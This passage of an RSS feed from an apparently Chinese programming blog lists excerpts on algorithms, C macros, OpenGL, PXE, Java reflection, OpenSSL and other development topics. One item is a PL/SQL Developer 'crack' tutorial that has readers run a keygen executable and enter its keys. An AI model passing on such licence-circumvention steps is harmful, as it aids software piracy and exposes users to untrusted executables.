      <description>1.贪婪算法的基本思想&#xA;求解一个最优化问题包含一系列的步骤，每一步都有一组选择，做出在当前看来最好的选择，希望通过做出局部优化选择来达到全局优化选择，这就是贪婪算法的基本思想。&#xA;贪婪算法能否产生优化解具有两个条件：Greedy选择性和优化子结构。&#xA;Greedy选择性：若一个优化问题的全局优化解可以通过局部优化地选择得到，则该问题具有Greedy选择性。&#xA;优化子结构：若一个优化问题的优化解包含他的子问题的优化解，则称其具有优化子结构。&#xA;2.求解最大相容集合&#xA;2.1 问题定义&#xA;输入：S = { 1, 2, ... , n }, F = { [si, fi] }, n ≥ i ≥ 1;&#xA;输出：S的最大相容集合；&#xA;题目大意就是已知n个活动的开始和结束时间，求出在时间不冲突的情况下，最多可举行活动的数量。&#xA;2.2 算法分析&#xA;为了选择最多相容的活动，每次选择fi最小的活动，这样我们就能选择更多的活动。该问题是否可以使用贪婪算法需要我们讨论此问题是否满足Greedy选择性和优化子结构，分析如下图所示。&#xA;理论依据有了，就可以大胆编写代码来实现了。&#xA;3.代码实现&#xA;import numpy as np # 需要安排的活动集合 activity_set = np.array([[2,3],[4,5],[6,8],[2,5],[3,6],[5,6]]) # 活动数目 num = len(activity_set) # 定义一个集合存放最终结果 result_set = set() # 将活动按照结束时间递增排序 activity_set = activity_set[activity_set[:,1].argsort()] # 把第一个活动放入结果集合 result_set.add((activity_set[0][0],activity_set[0][1])) # 从第二个活动开始遍历，若活动的开始时间在前一个活动结束时间之后，那此活动相容， #并且该活动也变成衡量其他活动是否相容的对象 j = 0 i = 1 while i &amp;lt; num: if activity_set[i][0] &amp;gt;= activity_set[j][1]: result_set.</description>
    </item>
    <item>
      <title>【PLSQL】PLSQL安装、破解以及汉化教程</title>
      <link>https://bchobby.github.io/posts/58179e42c51871ca8034244273276904/</link>
      <pubDate>Mon, 02 Oct 2017 23:02:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58179e42c51871ca8034244273276904/</guid>
      <description>本教程相关资源包下载地址&#xA;PLSQL安装 第①步&#xA;第②步&#xA;第③步：若要汉化的话，不要安装到Program Files (x86)&#xA;第④步&#xA;第⑤步&#xA;第⑥步&#xA;PLSQL破解 第一步：双击资源包中的【PLSQL Developer10.0.3.1701_keygen.exe】&#xA;第二步：打开破解PLSQL的相关密钥，只需对应填入即可完成破解。&#xA;PLSQL汉化 第一步&#xA;双击资源包中的【PLSQL Developer10.0.3.1701_CHS.exe】，打开自动匹配到了安装目录，如下图所示&#xA;第二步&#xA;第三步&#xA;第四步&#xA;第五步：登录之后可以看见汉化成功</description>
    </item>
    <item>
      <title>C语言中如何使用宏连接多个字符串（#和##的用法）</title>
      <link>https://bchobby.github.io/posts/b3db079cf3c3a4cd1c8e253299a515c4/</link>
      <pubDate>Mon, 02 Oct 2017 09:32:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3db079cf3c3a4cd1c8e253299a515c4/</guid>
      <description>最近在编写一个项目的代码时，需要在宏定义中连接多个字符串，具体来说就是，先定义一个软件版本号，然后再定义一个硬件版本号， 然后再将他们拼合起来生成一个综合版本号。这些动作我都希望在宏定义中直接完成，提供代码的可读性和可移植性。&#xA;类似于下面这样的：&#xA;#define SOFTWARE_VERSION &#34;Software：V1.00&#34; #define HARDWARE_VERSION &#34;Hardware：V1.00&#34; #define SYSTEM_VERSION ？？？？ 如上，为了把SOFTWARE_VERSION和HARDWARE_VERSION连接起来，一般的程序猿应该都了解，其实办法很简单，就是使用“#”和“##”这两个特殊的宏转义字符。下面就对他们进行一下简单的介绍：&#xA;1、#：字符串 “#”的功能是将其后面的宏参数进行字符串化操作（Stringfication），简单说就是在对它所引用的宏变量，通过替换后在其左右各加上一个双引号。比如下面代码中的宏：&#xA;#define WARN_IF(EXP) \ do { \ if (EXP) { \ fprintf(stderr, &#34;Warning: &#34; #EXP &#34;/n&#34;); \ } \ } while(0); 那么实际使用中会出现下面所示的替换过程：&#xA;WARN_IF (divider == 0); 被替换为&#xA;do { if (divider == 0) { fprintf(stderr, &#34;Warning&#34; &#34;divider == 0&#34; &#34;/n&#34;); } } while(0); 2、##：连接两个参数&#xA;“##”被称为连接符（concatenator），用来将两个Token连接为一个Token。注意这里连接的对象是Token就行，而不一定是宏的变量。比如你要做一个菜单项命令名和函数指针组成的结构体的数组，并且希望在函数名和菜单项命令名之间有直观的、名字上的关系。那么下面的代码就非常实用：&#xA;struct command { char * name; void (*function) (void); }; #define COMMAND(NAME) {NAME, NAME##_command} // 然后你就用一些预先定义好的命令来方便的初始化一个command结构的数组了： struct command commands[] = { COMMAND(quit), COMMAND(help), .</description>
    </item>
    <item>
      <title>Opengl鼠标交互函数glutMouseFunc()函数介绍</title>
      <link>https://bchobby.github.io/posts/33c543939545efc6e2823449dd5de32d/</link>
      <pubDate>Sun, 01 Oct 2017 12:11:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33c543939545efc6e2823449dd5de32d/</guid>
      <description>检测鼠标单击 要想在OpenGL中处理鼠标事件非常的方便，GLUT已经为我们的注册好了函数，只要我们提供一个方法。使用函数glutMouseFunc,就可以帮我们注册我们的函数，这样当发生鼠标事件时就会自动调用我们的方法。&#xA;函数的原型是：&#xA;void glutMouseFunc(void(*func)(int button,int state,int x,int y)); 参数： func：处理鼠标click事件的函数的函数名。 从上面可以看到，处理鼠标单击事件的函数，一定有4个参数。第一个参数表明哪个鼠标键被按下或松开，这个变量可以是下面的三个值中的一个：&#xA;GLUT_LEFT_BUTTON&#xA;GLUT_MIDDLE_BUTTON&#xA;GLUT_RIGHT_BUTTON&#xA;第二个参数表明，函数被调用发生时，鼠标的状态，也就是是被按下，或松开，可能取值如下：&#xA;GLUT_DOWN&#xA;GLUT_UP&#xA;当函数被调用时，state的值是GLUT_DOWN，那么程序可能会假定将会有个GLUT_UP事件，甚至鼠标移动到窗口外面，也如此。然而，如果程序调用glutMouseFunc传递NULL作为参数，那么GLUT将不会改变鼠标的状态。&#xA;剩下的两个参数（x,y）提供了鼠标当前的窗口坐标（以左上角为原点）。&#xA;检测动作 GLUT提供鼠标动作检测能力。有两种GLUT处理的motion：active motion和passive motion。Active motion是指鼠标移动并且有一个鼠标键被按下。Passive motion是指当鼠标移动时，并有没鼠标键按下。如果一个程序正在追踪鼠标，那么鼠标移动期间，每一帧将产生一个结果。&#xA;和以前一样，你必须注册将处理鼠标事件的函数（定义函数）。GLUT让我们可以指定两个不同的函数，一个追踪passive motion，另一个追踪active motion。&#xA;它们的函数原型如下：&#xA;void glutMotionFunc(void(*func)(int x,int y)); void glutPassiveMotionFunc(void (*func)(int x,int y)); 参数： Func：处理各自类型motion的函数名。 处理motion的参数函数的参数（x,y）是鼠标在窗口的坐标。以左上角为原点。&#xA;检测鼠标进入或离开窗口 GLUT还能检测鼠标鼠标离开，进入窗口区域。一个回调函数可以被定义去处理这两个事件。GLUT里，调用这个函数的是glutEntryFunc,函数原型如下：&#xA;void glutEntryFunc(void(*func)（int state）); 参数： Func：处理这些事件的函数名。 上面函数的参数中，state有两个值表明是离开还是进入窗口:&#xA;GLUT_LEFT&#xA;GLUT_ENTERED&#xA;应用 现在想实现的功能就是使用鼠标拖动，来转动场景中的物体，当鼠标左键按下，并且上下左右滑动时，场景中的物体相应的会随之上下左右旋转，当鼠标右键按下，并且上下滑动时，场景中的物体相应的会随之移入或是移出屏幕。&#xA;首先，定义几个全局变量：&#xA;bool mouseLeftDown; bool mouseRightDown; float mouseX, mouseY; float cameraDistance; float cameraAngleX; float cameraAngleY; 其中，mouseLeftDown和 mouseRightDown变量标志鼠标左右键按下与否，mouseX和mouseY变量标志鼠标滑动时，前一刻的鼠标所在位置,cameraDistance这个变量根据鼠标右键按下并上下滑动来控制场景中物体移入屏幕的远近。cameraAngleX和cameraAngleY变量根据鼠标左键按下并滑动来控制场景中物体的旋转。</description>
    </item>
    <item>
      <title>基于PXE的系统全自动化安装--（centos6.9没问题；centos7有bug）</title>
      <link>https://bchobby.github.io/posts/b779a5abc7af2f91a7c505438c4a0efc/</link>
      <pubDate>Fri, 29 Sep 2017 21:07:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b779a5abc7af2f91a7c505438c4a0efc/</guid>
      <description>分析需要的服务 1.DHCP服务 原因：全自动安装的需要从网络获取所有需要的所以需要搭建一个DHCP服务 2.tftp 原因：dhcp可以指向引导文件位置 默认是 tftp服务 配置选项：filename: 指明引导文件名称 next-server：提供引导文件的服务器IP地址 3.httpd 原因：安装包源位置；也可以使用ftp 4.ftp 原因：Kickstart位置；也可以使用httpd 分析安装时的流程 1.dhcp配置IP ---&amp;gt;指向PXE引导文件所在 2.PXE进行引导： 4.需要vmlinux和initrd等文件启动内核； 3.Kickstart安装策略文件 4.安装包文件 一、相关程序包的安装和开启 1.yum 安装程序包 yum -y install dhcp tftp-server httpd vsftpd 2.开启相应服务 #设为开机启动 centos7： systemctl enable dhcpd.service tftp.socket httpd.service vsftpd.service centos6： chkconfig dhcpd tftp httpd vsftpd on 开启相应服务 #dhcp服务不能正常开启；因为配置文件是空的 centos7： systemctl start dhcpd.service tftp.socket httpd.service vsftpd.service centos6： service dhcpd start service httpd start service xinet start service vsftpd start 3.</description>
    </item>
    <item>
      <title>ipaynow现在支付——代付款</title>
      <link>https://bchobby.github.io/posts/dad9b1f6eb48125e90682c7f9746e70f/</link>
      <pubDate>Fri, 29 Sep 2017 13:46:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dad9b1f6eb48125e90682c7f9746e70f/</guid>
      <description>SDK包现在支付的官网上就有，具体使用如下：&#xA;正式使用之前，需要给对方的数据有：应用编号、应用秘钥、公钥这三个，有专门的人进行生成，具体规则请询问现在支付的工作人员&#xA;//正式接口&#xA;String reqUrl = &#34;https://bc-pay.ipaynow.cn/gateway&#34;; //测试接口&#xA;String reqUrl = &#34;http://bc-test.ipaynow.cn/gateway&#34;;&#xA;//私钥，不能给工作人员&#xA;String key = &#34;&#34;;&#xA;//商户号，现在支付的工作人员会给&#xA;String merchantId = &#34;&#34;;&#xA;SimpleDateFormat df = new SimpleDateFormat(&#34;yyyyMMddHHmmss&#34;);//设置日期格式&#xA;String date = df.format(new Date());// 获取当前系统时间&#xA;IpayNowClient ipayNowClient = new DefaultIpayNowClient(reqUrl, key,merchantId);&#xA;AgentPayReqDto agentPayReqDto = new AgentPayReqDto();&#xA;agentPayReqDto.setMhtOrderAmt();//接收Long型的代付款，单位：分&#xA;agentPayReqDto.setAppId(&#34;&#34;);//应用编号，现在支付的工作人员会给&#xA;agentPayReqDto.setAgentPayMemo(&#34;&#34;);//用途，可以随便填&#xA;agentPayReqDto.setMhtReqTime(date);//请求时间&#xA;agentPayReqDto.setMhtOrderNo();//请求订单号，具体规则可以自己定，我的是年月日时分秒+随机6位整数&#xA;agentPayReqDto.setAccType(&#34;0&#34;);//0对私 1对公&#xA;agentPayReqDto.setPayeeName();//开卡人姓名&#xA;agentPayReqDto.setPayeeCardNo();//卡号&#xA;agentPayReqDto.setPayeeCardUnionNo(&#34;&#34;);//入账账户联行号，没有可不填&#xA;agentPayReqDto.setNotifyUrl();//商户通知地址，具体用法后面会将具体说明&#xA;TransRespDto respBaseDto = ipayNowClient.agentPay(agentPayReqDto);//发送请求报文并得到返回报文&#xA;私钥公钥的生成方法：&#xA;ECKey key = new ECKey();&#xA;System.out.println(&#34;PrivKey\t: &#34; + Hex.toHexString(key.getPrivKeyBytes()));</description>
    </item>
    <item>
      <title>Java 反射（Reflection） - Class 类 getMethod、getMethods、getDeclaredMethod、getDeclaredMethods四者区别</title>
      <link>https://bchobby.github.io/posts/0ad4b0050412c8e2efca555fd6dde219/</link>
      <pubDate>Thu, 28 Sep 2017 12:00:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ad4b0050412c8e2efca555fd6dde219/</guid>
      <description>在学习 Java反射 的过程中，注意到Class类 有 以下四个方法：&#xA;public Method getMethod(String name, Class&amp;lt;?&amp;gt;... parameterTypes) throws NoSuchMethodException, SecurityException public Method[] getMethods() throws SecurityException public Method getDeclaredMethod(String name, Class&amp;lt;?&amp;gt;... parameterTypes) throws NoSuchMethodException, SecurityException public Method[] getDeclaredMethods() throws SecurityException 通过查阅资料学习了各个方法的作用、及相互之间的区别，在此进行整理记录，如有错误之处，还请指正。&#xA;getMethod public Method getMethod(String name, Class&amp;lt;?&amp;gt;... parameterTypes) throws NoSuchMethodException, SecurityException 返回一个 Method 对象，它反映当前 Class 对象所表示的类或接口中指定name的公共（public）成员方法（包括父类继承的、接口实现的、父接口继承的）。 name 参数用于指定所反映的方法的名称。parameterTypes 参数是按声明顺序标识该方法形参类型的 Class 对象的一个数组。如果 parameterTypes 为 null，则按空数组处理。&#xA;BUT：如果 name 是 “&amp;lt; init &amp;gt;;” 或 “&amp;lt; clinit &amp;gt;”，则将引发 NoSuchMethodException。（&amp;lt; init &amp;gt;和&amp;lt; clinit &amp;gt;的区别）</description>
    </item>
    <item>
      <title>Polly一种.NET弹性和瞬态故障处理库（重试策略、断路器、超时、隔板隔离、缓存、回退、策略包装）</title>
      <link>https://bchobby.github.io/posts/a09396e9127636baeb284e5f56f822c3/</link>
      <pubDate>Thu, 28 Sep 2017 10:39:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a09396e9127636baeb284e5f56f822c3/</guid>
      <description>下载地址：https://github.com/App-vNext/Polly&#xA;该库实现了七种恢复策略。&#xA;重试策略（Retry） 重试策略针对的前置条件是短暂的故障延迟且在短暂的延迟之后能够自我纠正。允许我们做的是能够自动配置重试机制。&#xA;断路器（Circuit-breaker） 断路器策略针对的前置条件是当系统繁忙时，快速响应失败总比让用户一直等待更好。保护系统故障免受过载，Polly可以帮其恢复。&#xA;超时（Timeout） 超时策略针对的前置条件是超过一定的等待时间，想要得到成功的结果是不可能的，保证调用者不必等待超时。&#xA;隔板隔离（Bulkhead Isolation） 隔板隔离针对的前置条件是当进程出现故障时，多个失败一直在主机中对资源（例如线程/ CPU）一直占用。下游系统故障也可能导致上游失败。这两个风险都将造成严重的后果。都说一粒老鼠子屎搅浑一锅粥，而Polly则将受管制的操作限制在固定的资源池中，免其他资源受其影响。&#xA;缓存（Cache） 缓存策略针对的前置条件是数据不会很频繁的进行更新，为了避免系统过载，首次加载数据时将响应数据进行缓存，如果缓存中存在则直接从缓存中读取。&#xA;回退（Fallback） 操作仍然会失败，也就是说当发生这样的事情时我们打算做什么。也就是说定义失败返回操作。&#xA;策略包装（PolicyWrap） 策略包装针对的前置条件是不同的故障需要不同的策略，也就意味着弹性灵活使用组合。&#xA;原文地址：http://www.cnblogs.com/CreateMyself/p/7589397.html</description>
    </item>
    <item>
      <title>Java 反射（Reflection） - Class</title>
      <link>https://bchobby.github.io/posts/690fef3f5a7c48b5bf82652872b31397/</link>
      <pubDate>Wed, 27 Sep 2017 18:20:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/690fef3f5a7c48b5bf82652872b31397/</guid>
      <description>学习Spring等框架时，接触到反射这一机制，查阅资料发现Java的反射机制对于各大主流Java框架有着举足轻重的地位。在此特地记录自己对于reflect相关知识的些许理解。如有错误之处，还请指正。&#xA;1、简单理解什么是反射 反射机制可以让程序在运行时 加载、探知、使用一个在编译期完全未知的类，通过反射可以让我们在只知道类名的情况下，获取一个Java类的内部成员变量、成员方法。并对其成员进行操作（方法调用等）。换句话说，程序可以加载一个运行时才得知名称的Java类，获悉其完整构造（但不包括方法（method）的完整定义），并生成其对象实例、或对其fields（属性）设值、或调用其methods。&#xA;Java能够实现反射机制，ClassLoader、Class、Method、Field 、Constructor等 这几个类是至关重要的。&#xA;2、ClassLoader类 类加载器（ClassLoader的实现）是负责加载类的对象。ClassLoader 类是一个抽象类。如果给定类的二进制名称，那么类加载器会试图查找或生成构成类定义的数据。一般策略是将名称转换为某个文件名，然后从文件系统读取该名称的“.calss文件”。 当一个Java类被加载，或当加载器（classloader）的defineClass()被JVM调用，JVM 便实例化一个Class 对象。这个Class对象是被加载类的字节码对象（内存中一个类的字节码只有一份，这个Class对象也就只有一个）。 但是，数组的 Class 对象并不是由类加载器创建的，而是由 JRE(Java 运行时)根据需要自动创建。 每个 Class 对象都包含了对于定义它的 ClassLoader 的引用。通过调用Class 对象的 getClassLoader()方法，可以获取该ClassLoader对象。&#xA;3、Class 类 Class类是一个特殊的类，他继承自Object，并且没有public的构造函数 。 Class 类的对象（字节码对象）表示正在运行的 Java 应用程序中的类和接口。（枚举是一种类，注解是一种接口）。不止如此，JVM还预先提供了9种Class对象，分别是： byte、short、int、long、float、double、boolean、char、void （8种基本数据类型和关键字void）的Class对象。&#xA;3.1、获取Class对象&#xA;3.1.1、获取类的Class对象，有三种方式： Student stu = new Student(); Class c1 = Student.class; Class c2 = stu.getClass(); Class c3 = Class.forName(&#34;com.company.demo.Student&#34;); //注意：同一个类 在JVM中只有一份字节码，所以c1、c2、c3 指向同一个Class对象 c1方式： 每个类都有一个class属性，该属性包含了指向该类Class对象的引用c2方式：通过类的实例，来获取类的Class对象c3方式：Class.forName(String className)方法，参数类名必须是完整的类名（包名+类名）。该方式下：当指定类的字节码已经加载到JVM中时，获取到字节码，并返回该类的Class对象；否则 加载指定的类，并返回字节码对象。 3.1.2、对于基本数据类型、void 的 Class对象的获取方式：&#xA;byte.class short.class int.class long.class float.class double.</description>
    </item>
    <item>
      <title>正则表达式验证密码（大小写字母、数字、特殊符号 四选三）</title>
      <link>https://bchobby.github.io/posts/ec6bbb50a9427675a249fd7f045ca2f8/</link>
      <pubDate>Tue, 26 Sep 2017 21:31:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec6bbb50a9427675a249fd7f045ca2f8/</guid>
      <description> String patten = &#34;^(?![a-zA-Z]+$)(?![A-Z0-9]+$)(?![A-Z\\W_]+$)(?![a-z0-9]+$)(?![a-z\\W_]+$)(?![0-9\\W_]+$)[a-zA-Z0-9\\W_]{8,}$&#34;; String password1 = &#34;fukang&#34;; // false String password2 = &#34;Fukanggggg&#34;; // false String password3 = &#34;fukang123&#34;; // false String password4 = &#34;Fukang123&#34;; // true String password5 = &#34;##Fuk%%&#34;; // false String password6 = &#34;###fukang%%&#34;; // false String password7 = &#34;66FFFFFFFFFF&#34;;// false System.out.println(password1.matches(patten)); System.out.println(password2.matches(patten)); System.out.println(password3.matches(patten)); System.out.println(password4.matches(patten)); System.out.println(password5.matches(patten)); System.out.println(password6.matches(patten)); System.out.println(password7.matches(patten)); </description>
    </item>
    <item>
      <title>搭建中文版社区版gitlab</title>
      <link>https://bchobby.github.io/posts/79311964e4185c6308756964953b4fb3/</link>
      <pubDate>Mon, 25 Sep 2017 15:45:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79311964e4185c6308756964953b4fb3/</guid>
      <description>docker pull gitlab/gitlab-ce 该镜像是英文的需要自己去汉化，这里介绍的是已经汉化好的docker pull beginor/gitlab-ce：你喜欢的版本&#xA;启动脚本&#xA;docker run \ --detach \ --publish 8443:443 \ --publish 8080:80 \ --name gitlab \ --restart unless-stopped \ --volume /mnt/sda1/gitlab/etc:/etc/gitlab \ --volume /mnt/sda1/gitlab/log:/var/log/gitlab \ --volume /mnt/sda1/gitlab/data:/var/opt/gitlab \ beginor/gitlab-ce:9.5.5-ce.0 需要提前准备volume 以下目录可以自定义 /在升级的时候建议备份一下&#xA;mkdir -p /mnt/sda1/gitlab/etc mkdir -p /mnt/sda1/gitlab/log mkdir -p /mnt/sda1/gitlab/data 大版本升级（例如从 8.7.x 升级到 8.8.x）用上面的操作有可能会出现错误， 如果出现错误可以尝试登录到容器内部， 可以用 docker exec ， 也可以用 ssh ， 依次执行下面的命令：&#xA;gitlab-ctl reconfigure gitlab-ctl restart</description>
    </item>
    <item>
      <title>request获得当前浏览器访问全部URL</title>
      <link>https://bchobby.github.io/posts/3eb6040276018c33c896eb04db84fd2e/</link>
      <pubDate>Mon, 25 Sep 2017 14:49:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3eb6040276018c33c896eb04db84fd2e/</guid>
      <description> 例如：http://localhost:8080/goods/BookServlet?method=findByCategory&amp;amp;cid=100&amp;amp;pageNow=3 request.getRequestURI(); 得到/goods/BookServlet request.getQueryString();得到method=findByCategory&amp;amp;cid=100&amp;amp;pageNow=3 request.getServletPath();得到BookServlet request.getServerName();得到服务器地址 request.getRequestURL();得到http://localhost:8080/goods/BookServlet request.getHeader(&#34;referer&#34;);得到http://localhost:8080/goods/CategoryServlet;jsessionid=6E526D759A3C0ACA1B2478F345C7E303?method=findAll </description>
    </item>
    <item>
      <title>转发 VS重定向</title>
      <link>https://bchobby.github.io/posts/c89d7da19fdb38923bfca16a19739401/</link>
      <pubDate>Sun, 24 Sep 2017 13:37:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c89d7da19fdb38923bfca16a19739401/</guid>
      <description>转发（服务器端跳转）&#xA;1.&amp;lt;jsp:forward&amp;gt;&#xA;2.request.getRequestDispatcher(&#34;main.jsp&#34;).forward(request,response);&#xA;重定向（客户端跳转）：&#xA;&amp;lt;%&#xA;response.sendRedirect(&#34;main.jsp&#34;);&#xA;%&amp;gt;&#xA;区别：&#xA;两者都实现了页面跳转，需要传递数据的时候用转发，否则用重定向&#xA;1.转发是在服务器端完成，因此称为服务器端跳转&#xA;重定向是在客户端完成，因此称为客户端跳转&#xA;2.转发后，地址栏不会改变&#xA;重定向后，地址栏会变&#xA;3,转发只能在同一个web项目范围内进行&#xA;重定向可以在不同的web项目内进行</description>
    </item>
    <item>
      <title>DeepLearing学习笔记-Sigmoid函数的梯度</title>
      <link>https://bchobby.github.io/posts/67dd0bb501cf44e38818657b012bd760/</link>
      <pubDate>Sun, 24 Sep 2017 11:15:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67dd0bb501cf44e38818657b012bd760/</guid>
      <description>背景： 求解 z=σ(z) 的梯度 由于 sigmoid(x)=11+e−x 在python中利用numpy模块实现：&#xA;# GRADED FUNCTION: sigmoid import numpy as np # this means you can access numpy functions by writing np.function() instead of numpy.function() def sigmoid(x): &#34;&#34;&#34; Compute the sigmoid of x Arguments: x -- A scalar or numpy array of any size Return: s -- sigmoid(x) &#34;&#34;&#34; ### START CODE HERE ### (≈ 1 line of code) s = None s = 1/(1+np.exp(-x)) ### END CODE HERE ### return s 求对应的导数 sigmoid_derivative(x)=σ′(x)=σ(x)(1−σ(x))(1) 那这个是怎么推导的呢？ σ(x)=11+e−x 另临时变量 t=1+e−x ，通过复合函数的求导法则，所以 σ′(x)=(t−1)′⋅t′=−t−2⋅(−e−x)=1(1+e−x)2⋅e−x=11+e−x(e−x1+e−x)=11+e−x(1+e−x−11+e−x)=11+e−x(1−11+e−x)=σ(x)⋅(1−σ(x)) 得证！ python实现 def sigmoid_derivative(x): &#34;</description>
    </item>
    <item>
      <title>ndk c调java</title>
      <link>https://bchobby.github.io/posts/8652290fd7f2cdad02fe67dca7eabaf4/</link>
      <pubDate>Sat, 23 Sep 2017 17:12:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8652290fd7f2cdad02fe67dca7eabaf4/</guid>
      <description>// // Created by lizhiduo on 17-9-23. // #include &#34;com_example_lizhiduo_jni_JNI.h&#34; JNIEXPORT jstring JNICALL Java_com_example_lizhiduo_jni_JNI_sayHello (JNIEnv * env, jclass obj){ return env-&amp;gt;NewStringUTF(&#34;hello from jni&#34;); } JNIEXPORT void JNICALL Java_com_example_lizhiduo_jni_JNI_callBackHelloFromJava (JNIEnv * env, jclass obj){ //1 得到字节码 jclass jclass1 = env-&amp;gt;FindClass( &#34;com/example/lizhiduo/jni/JNI&#34;); //jclass jclass1 = env-&amp;gt;GetObjectClass( obj); //2 得到方法 方法签名 ()V jmethodID jmethodID1 = env-&amp;gt;GetMethodID( jclass1, &#34;sayHelloFromJava&#34;, &#34;()V&#34;); //3 实例化对象 jobject jobject1 = env-&amp;gt;AllocObject( jclass1); //4 调用方法 env-&amp;gt;CallVoidMethod( jobject1, jmethodID1); } JNIEXPORT jint JNICALL Java_com_example_lizhiduo_jni_JNI_callBackAdd (JNIEnv *env, jclass obj, jint a, jint b){ //1 得到字节码 jclass jclass1 = env-&amp;gt;FindClass( &#34;</description>
    </item>
    <item>
      <title>Vue使用echarts数据动态更新，Y轴刻度固定或者自适应</title>
      <link>https://bchobby.github.io/posts/32632460a18d8efa99f43d0d3a2cf973/</link>
      <pubDate>Wed, 20 Sep 2017 14:41:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32632460a18d8efa99f43d0d3a2cf973/</guid>
      <description>前几天在Vue项目中使用到了echarts,所以写个简单的小Demo&#xA;想要实现的效果 数据动态生成（实时改变） 时间点1 时间点2 代码 文件（Echarts.vue） &amp;lt;template&amp;gt; &amp;lt;div class=&#34;echarts&#34;&amp;gt; &amp;lt;i-echarts :option=&#34;options&#34;&amp;gt;&amp;lt;/i-echarts&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import IEcharts from &#39;vue-echarts-v3/src/full.vue&#39; export default { name: &#39;table&#39;, components: { IEcharts }, data() { return { options: { title: { text: &#39;Timesky&#39; }, tooltip: { trigger: &#39;item&#39; }, legend: { data: [&#39;销量&#39;] }, xAxis: { name: &#39;商品&#39;, nameLocation: &#39;start&#39;, nameGap: &#39;50&#39;, boundaryGap: true, data: [&#39;衬衫&#39;, &#39;羊毛衫&#39;, &#39;雪纺衫&#39;, &#39;裤子&#39;, &#39;高跟鞋&#39;, &#39;袜子&#39;] }, // yAxis: {}, 纵轴自适应 yAxis: { //纵轴标尺固定 type: &#39;value&#39;, scale: true, name: &#39;销量&#39;, max: 100, min: 0, boundaryGap: [0.</description>
    </item>
    <item>
      <title>eclipse启动不了服务器</title>
      <link>https://bchobby.github.io/posts/0c8a19628066d60f527d504c90701b12/</link>
      <pubDate>Mon, 18 Sep 2017 19:48:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c8a19628066d60f527d504c90701b12/</guid>
      <description>用eclipse的时候把项目加进Servers启动服务器，不会报错，也可以成功启动，但是打开Tomcat服务器webapps目录找不到加进去的项目，这就可能是eclipse配置问题了：&#xA;方法：&#xA;重新配置下tomcat服务器：&#xA;在eclipse中的server页面，双击tomcat服务，会看到如图所示的配置页面：&#xA;可以看到红圈中选择的是 Use workspace metadata(does not modify Tomcat installion)&#xA;如果该tomcat中部署了项目的话，这红圈中的选项会灰掉不能修改，要修改必须得先把tomcat中的部署的服务都移除。&#xA;如图：&#xA;通过右键单击tomcat服务器选择 Add and Remove，在弹出的对话框中移除已部署的项目。移除完确定后，将看到上面的选项面板部分可编辑了。&#xA;选择Use tomcat installation(Task control of Tomcat installation) 即选择tomcat的安装目录来作为项目的发布目录。&#xA;然后,下来四行,看到&#34;Deploy Path&#34;了没?它后面的值默认是&#34;wtpwebapps&#34;,把它改成&#34;webapps&#34;,也就是tomcat&#xA;中发布项目所在的文件夹名字。 修改后关掉该页面，保存配置。这样就将项目部署到了tomcat安装目录下的webapp 重启tomcat服务器，访问http://localhost:8080则能正常访问了，自己部署的项目也能正常访问了。</description>
    </item>
    <item>
      <title>OpenSSL与CA认证</title>
      <link>https://bchobby.github.io/posts/91b453622d34ad197b6e04399b35ac3f/</link>
      <pubDate>Mon, 18 Sep 2017 19:13:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91b453622d34ad197b6e04399b35ac3f/</guid>
      <description>一、SSL/TLS SSL又被称之为安全的套接字层（Secure Socket Layer），一种安全的加密协议，是嵌套在应用层与传输层之间的一个半层。用户在浏览器中需要加密的时候输入https，则数据通过该半层进行加密。不需要加密的时候则输入http，数据不经过该半层。&#xA;TLS又被称之为传输层安全协议（Transport Layer Security），其前身是SSL。IETF（互联网工程任务小组）将SSL标准化，进行改进，在加密过程中使用了更加强大复杂的算法，修复了SSL的很多漏洞，并命名为TLS。&#xA;二、OpenSSL OpenSSL是基于SSL/TLS加密协议的一种开源实现，实现了基本的加密功能。&#xA;OpenSSL由三个组件组成：&#xA;openssl：多用途的命令行工具libcrypto：公共加密库libssl：库，实现了ssl及tls openssl的子命令有很多，这里简要的说明一下openssl的用法&#xA;对称加密：&#xA;# openssl enc -e -des3 -a -salt -in ipset.sh -out ipset enc：表示加密 -e：加密算法 -des3：des3加密算法 -a：基于文本进行编码 -salt：加盐 -in：加密的文件 -put：输出的文件 # openssl enc -d -des3 -a -salt -in ipest -out ipset.sh -d：表示解密 使用openssl –help查看加密算法&#xA;单向加密：&#xA;使用单向加密用来加密文件的特征码，加密算法有：&#xA;md5sum, sha1sum, sha224sum, sha256sum, sha512sum, openssl dgst&#xA;# openssl dgst -md5 ipset -md5：表示使用md5算法进行加密 使用openssl给密码加密：&#xA;# openssl passwd -1 -salt 123456 -1：表示使用md5进行加密 -salt 123456：表示加盐，如果改变盐的值则会对加过造成巨大改变 生成随机数：</description>
    </item>
    <item>
      <title>&#39;utf-8&#39; codec can&#39;t decode byte 0xff in position 0: invalid start byte</title>
      <link>https://bchobby.github.io/posts/99619a70865a5f1e52d8742cbde7d588/</link>
      <pubDate>Fri, 15 Sep 2017 14:09:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99619a70865a5f1e52d8742cbde7d588/</guid>
